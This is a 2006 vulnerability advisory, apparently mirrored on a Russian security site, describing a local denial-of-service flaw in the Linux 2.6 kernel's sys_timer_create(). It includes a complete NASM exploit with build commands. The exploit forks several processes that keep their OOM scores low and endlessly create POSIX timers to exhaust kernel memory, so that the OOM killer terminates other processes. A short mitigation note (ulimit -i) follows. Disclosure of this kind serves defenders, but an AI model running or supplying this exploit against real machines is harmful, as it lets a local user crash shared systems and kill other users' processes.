Linux Kernel Local DoS vulnerability

11 апреля, 2006

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Hello.
I'd like to present one of Linux Kernel vulnerabilities. As far as I
know, this one affects 2.6.x kernels.

Problem
- --

The problem lies in sys_timer_create() in Linux/kernel/posix-timers.c.
Each time user creates a posix timer, some kernel memory is allocated.
Since count of timers that can be created by user is limited only by
sigqueue size (ex. 4294967295 in Debian) every local user can exhaust
all avaible memory which will trigger oom_killer (mm/oom_kill.c). If a
process itself uses a small amount of memory, it's oom_score will be
low, so all other processes would be killed.

Exploit
- --

- --------------8<---------------------

;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o

section .text
   global _start

count   equ     8       ; threads count - do it quicker

_start:
       mov     ebx, count
       call    create_threads
       jmp     done
_pause:
       mov     eax,29
       int     0x80
       ret
create_threads:
       mov     eax,2
       int     0x80
       test    eax,eax
       jz      consume
       dec     ebx
       test    ebx,ebx
       jnz     create_threads
       ret
consume:
setsid:         ;       so we won't get counted as one thread in oom_killer()
       xor     ebx,ebx ;       each task will have about 20 oom_score which
       mov     eax,66 ;        is less than 'init' and others
       int     0x80
       push    eax
loopek:
       mov     eax,259
       mov     ebx,0
       mov     ecx,0
       mov     edx,esp
       int     0x80
       jmp     loopek
done:
       xor     ebx,ebx
       mov     eax,1
       int     0x80


- --------------8<--------------------


Fix
- --
In my opinion the easiest way to defend is to enforce pending signals
queue size rlimit (ulimit -i).

Vendor notification status
- --
Vendor refused to fix this kind of bugs.


- --
Regards,
fingerout
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Уязвимости: 

• Отказ в обслуживании в функции sys_timer_create() в ядре Linux